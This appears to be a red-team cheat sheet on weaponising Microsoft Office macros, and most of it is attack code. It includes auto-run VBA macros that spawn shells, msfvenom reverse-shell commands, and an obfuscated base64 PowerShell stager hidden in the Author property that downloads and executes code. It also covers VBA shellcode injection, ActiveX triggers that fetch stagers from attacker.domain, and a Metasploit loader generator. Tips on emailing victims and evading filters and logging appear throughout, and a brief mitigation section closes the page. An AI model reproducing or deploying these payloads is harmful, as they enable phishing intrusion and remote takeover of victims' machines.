⭕Office Macros
to create a macro in an office word document:
Create new word document (CTRL+N)
Hit ALT+F11 to go into Macro editor
Double click into the "This document" and CTRL+C/V the below:
Private Sub Document_Open()
MsgBox "game over", vbOKOnly, "game over"
a = Shell("C:\tools\shell.cmd", vbHide)
End Sub

ALT+F11 to switch back to the document editing mode and add a flair of social engineering like so:

Save the file as a macro enabled document, for example a Doc3.dotm:

Victim launching the Doc3.dotm:

a message box will appear.
generate reverse shell macro payload for office word:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -e x86/shikata_ga_nai -f vba-psh > macro.
Generating VBA Macros
Paste the output of the first portion of the payload script into the editor, save it.
Paste the remainder of the script into the word document itself. This is when you would perform the client-side attack by emailing this Word document to someone.
#Msfvenom
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PN> -e x86/shikata_ga_nai -f vba-exe
msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread
#Other formats:
-f vba-psh, vba (No need to follow below steps)
'* This code is now split into two pieces:
'* 1. The Macro. This must be copied into the Office document
'* macro editor. This macro will run on startup.
'*
'* 2. The Data. The hex dump at the end of this output must be
'* appended to the end of the document contents.
#Convert to Base64 Encoding
$command = "calc"
$bytes = [Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand
powershell.exe -nop -w hidden -e $encodedCommand
Reference
Sharpshooter
Reference: MDSec Sharpshooter
Custom Macro Development
Msfvenom + Unicorn
msfvenom -p /windows/x64/meterpreter/reverse_http LHOST=eth0 LPORT=443 -f csharp -o payload.cs
git clone https://github.com/trustedsec/unicorn.git
python unicorn.py <path to payload.cs> shellcode macro
Embed as macro in Word
MaliciousMacroGenerator
Remote Template Injection
DOCX files referencing a template that includes macros can "execute" macros as well.
File > Options > Add-ins > Manage:Templates - Go
This method bypasses email filters that block .dotm files.
References
1] Create a .DOTM template document containing Macros
2] Create a .DOCX file from Word default templates -> Rename as .zip -> Extract .zip -> Modify word\_rels\settings.xml.rels

3] Save file → Select all unzipped files and zip → Change extension to .docx
4] Execution
Opening the document creates 4 HTTP requests.
Even without enable documents you can see if the doc was opened. → Good for metrics
Hidden in File Properties - Stdin to Avoid Logging
Command resides in "Author"/ Custom Excel form / Encoded form.
Hides PS commands from cmdline logging via invocation with StdIn.WriteLine
Trigger from a button.
Leveraging unused code for obfuscation.
Public Sub PrintDocumentProperties()
Dim oApp As New Excel.Application
Dim oWB As Workbook
Set oWB = ActiveWorkbook
Dim Exec As String
#If VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr
#Else
Dim rwxpage As Long, res As Long
#End If
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
Set objWshell = VBA.CreateObject("WScript.Shell")
Dim c As String
Const quote As String = """"
c = "WwBTAHkAUwB0AGUAbQAuAE4AZQBUAC4AUwBlAHIAdgBpAEMAZQBQAE8ASQBOAHQATQBhAE4AYQBnAEUAUgBdADoAOgBFAFgAcABlAEMAVAAxADAAMABDAG8AbgB0AGkATgBVAEUAIAA9ACAAMAA7ACQAVwBjAD0ATgBlAFcALQBPAEIASgBFAGMAVAAgAFMAWQBTAHQAZQBNAC4ATgBlAFQALgBXAGUAYgBDAEwAaQBlAE4AVAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAQwAuAEgARQBhAEQAZQByAHMALgBBAGQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAUgBPAFgAeQAgAD0AIABbAFMAeQBTAFQARQBNAC4ATgBlAHQALgBXAEUAQgBSAEUAcQB1AEUAcwB0AF0AOgA6AEQARQBGAEEAVQBMAFQAVwBFAEIAUABSAE8AWAB5ADsAJABXAEMALgBQAFIATwBYAFkALgBDAFIARQBEAGUATgBUAEkAQQBsAHMAI"
c = c + "AA9ACAAWwBTAFkAcwBUAGUAbQAuAE4ARQB0AC4AQwByAEUAZABFAG4AVABJAEEAbABDAEEAYwBoAEUAXQA6ADoARABlAGYAQQBVAGwAdABOAEUAdAB3AG8AUgBLAEMAcgBlAGQAZQBuAHQAaQBhAGwAUwA7ACQASwA9ACcAMwBlACoARwBrAFkATABVAFMAdgA2AGEAYgA0AE8ASwAhACUAUABpAEAAJAB0AHEAOQBcAD4AfAB+AHUAKwBSACcAOwAkAGkAPQAwADsAWwBjAGgAQQBSAFsAXQBdACQAYgA9ACgAWwBjAEgAYQByAFsAXQBdACgAJABXAGMALgBEAE8AdwBOAEwATwBBAEQAUwB0AFIAaQBOAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgA3ADoAOAAwADgAMAAvAGkAbgBkAGUAeAAuAGEAcwBwACIAKQApACkAfAAlAHsAJABfAC0AYgBYAG8AcgAkAGsAWwAkAEkAKwArACUAJABLAC4ATABlAG4AZwB0AGgAXQB9ADsASQBFAFgAIAAoACQAQgAtAEoATwBJAE4AJwAnACkA"
Dim objWshell1 As Object
Set objWshell1 = CreateObject("WScript.Shell")
With objWshell1.Exec("powershell.exe -nop -windowstyle hidden -Command -")
.StdIn.WriteLine author
.StdIn.WriteBlankLines 1
.Terminate
End With
End Sub
Shellcode Injection with Macro
This is a simple implementation of a shellcode execution which uses VirtualAlloc, CreateThread, and RtlMoveMemory to execute shellcode.
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes
As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As
LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As
LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As
Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As
LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Function MyMacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
buf = Array(shellcode array)
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacr
ActiveX Control for Macro Execution
Idea is to move away from traditionally used AutoOpen() and Document_Open() which are noisy.
File > Options > Customize Ribbon > Developer Tab > Controls > Legacy Tools > More Options
Each ActiveX control gives the option to add macros to its procedures.
#InkEdit Procedure - Ondisk footprint
Sub InkEdit1_GotFocus()
Run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https://trusted.domain/file.exe',‘file.exe');Start-Process ‘file.exe'", vbNormalFocus)
End Sub
#Inmemory execution
Sub InkEdit1_GotFocus()
Debugging
End Sub
Public Function Debugging() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "powe" & "rshell.e" & "xe" & " -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c if ([IntPtr]::size -eq 4) {(new-object Net.WebClient).DownloadString('https://attacker.domain/stager1.ps1') | iex } else {(new-object Net.WebClient).DownloadString('https://attacker.domain/stager2.ps1') | iex}"
End Function
Procedures able to automatically run macros :

OS-aware Macro
Retrieves OS, hostname, username & sends to attacker server.
Link to script
RTF + Signed Binary + DLL Hijacking + Custom MSF Loader
Macro > Contains RTF > Contains Signed binary + DLL as OLE objects
Combined RTF's default behaviour of dropping OLE objects to TEMP folder, with DLL Hijacking vulnerability of trusted Kaspersky executable and custom-made MSF loader.
Kaspersky's kavremover.exe
#Metasploit Loader Generator: Usage: ./loader.sh
#!/bin/bash
clear
echo "****************************************************************"
echo " Automatic C source code generator - FOR METASPLOIT "
echo " Based on rsmudge metasploit-loader "
echo "****************************************************************"
echo -en 'Metasploit server IP : '
read ip
echo -en 'Metasploit port number : '
read port
echo '#include <stdio.h>'> temp.c
echo '#include <stdlib.h>' >> temp.c
echo '#include <windows.h>' >> temp.c
echo '#include <winsock2.h>' >> temp.c
echo -n 'unsigned char server[]="' >> temp.c
echo -n $ip >> temp.c
echo -n '";' >> temp.c
echo '' >> temp.c
echo -n 'unsigned char serverp[]="' >> temp.c
echo -n $port >> temp.c
echo -n '";' >> temp.c
echo '' >> temp.c
echo 'void winsock_init() {' >> temp.c
echo ' WSADATA wsaData;' >> temp.c
echo ' WORD wVersionRequested;' >> temp.c
echo ' wVersionRequested = MAKEWORD(2, 2);'>> temp.c
echo ' if (WSAStartup(wVersionRequested, &wsaData) < 0) {' >> temp.c
echo ' printf("bad\n"); '>> temp.c
echo ' WSACleanup(); '>> temp.c
echo ' exit(1);'>> temp.c
echo ' }' >> temp.c
echo ' }' >> temp.c
echo ' void punt(SOCKET my_socket, char * error) {' >> temp.c
echo ' printf("r %s\n", error);'>> temp.c
echo ' closesocket(my_socket);'>> temp.c
echo ' WSACleanup();'>> temp.c
echo ' exit(1);' >> temp.c
echo ' }' >> temp.c
echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {' >> temp.c
echo ' int tret = 0;'>> temp.c
echo ' int nret = 0;'>>temp.c
echo ' void * startb = buffer;'>> temp.c
echo ' while (tret < len) {'>>temp.c
echo ' nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp.c
echo ' startb += nret;'>> temp.c
echo ' tret += nret;'>>temp.c
echo ' if (nret == SOCKET_ERROR)'>> temp.c
echo ' punt(my_socket, "no data");'>> temp.c
echo ' }'>>temp.c
echo ' return tret;'>> temp.c
echo '}' >> temp.c
echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp.c
echo ' struct hostent * target;' >> temp.c
echo ' struct sockaddr_in sock;' >> temp.c
echo ' SOCKET my_socket;'>>temp.c
echo ' my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp.c
echo ' if (my_socket == INVALID_SOCKET)'>> temp.c
echo ' punt(my_socket, ".");'>>temp.c
echo ' target = gethostbyname(targetip);'>>temp.c
echo ' if (target == NULL)'>>temp.c
echo ' punt(my_socket, "..");'>>temp.c
echo ' memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);'>>temp.c
echo ' sock.sin_family = AF_INET;'>> temp.c
echo ' sock.sin_port = htons(port);'>>temp.c
echo ' if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp.c
echo ' punt(my_socket, "...");'>>temp.c
echo ' return my_socket;'>>temp.c
echo '}' >> temp.c
echo 'int main(int argc, char * argv[]) {' >> temp.c
echo ' FreeConsole();'>>temp.c
echo ' ULONG32 size;'>>temp.c
echo ' char * buffer;'>>temp.c
echo ' void (*function)();'>>temp.c
echo ' winsock_init();'>> temp.c
echo ' SOCKET my_socket = wsconnect(server, atoi(serverp));'>>temp.c
echo ' int count = recv(my_socket, (char *)&size, 4, 0);'>>temp.c
echo ' if (count != 4 || size <= 0)'>>temp.c
echo ' punt(my_socket, "error lenght\n");'>>temp.c
echo ' buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);'>>temp.c
echo ' if (buffer == NULL)'>>temp.c
echo ' punt(my_socket, "error in buf\n");'>>temp.c
echo ' buffer[0] = 0xBF;'>>temp.c
echo ' memcpy(buffer + 1, &my_socket, 4);'>>temp.c
echo ' count = recv_all(my_socket, buffer + 5, size);'>>temp.c
echo ' function = (void (*)())buffer;'>>temp.c
echo ' function();'>>temp.c
echo ' return 0;'>>temp.c
echo '}' >> temp.c
echo 'Compiling C code to Dll ..'
i586-mingw32msvc-gcc temp.c -o msi.dll -lws2_32 -shared
strip msi.dll
ls -la msi.dll
-----------------
#Export to exe. Test Payload with main.c
i586-mingw32msvc-gcc temp.c -o payload.exe -lws2_32 -mwindows
#Explort to dll
i586-mingw32msvc-gcc temp.c -o msi.dll -lws2_32 -shared
strip msi.dll
#Test dll
rundll32 msi.dll,main
Combining with Macro

Embedding Executable/Dll in a Macro (executable2vbs)
Contains an embedded executable in the form of hex dumps in strings.
Executable is re-assembled dropped in a temporary directory and executed.
On-disk footprint is high. Use an evasing executable/DLL.

Other Tools
Mitigation
On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office applications from creating child processes and from writing potentially malicious executable content to disk.
Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing.
Disable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing.
Last updated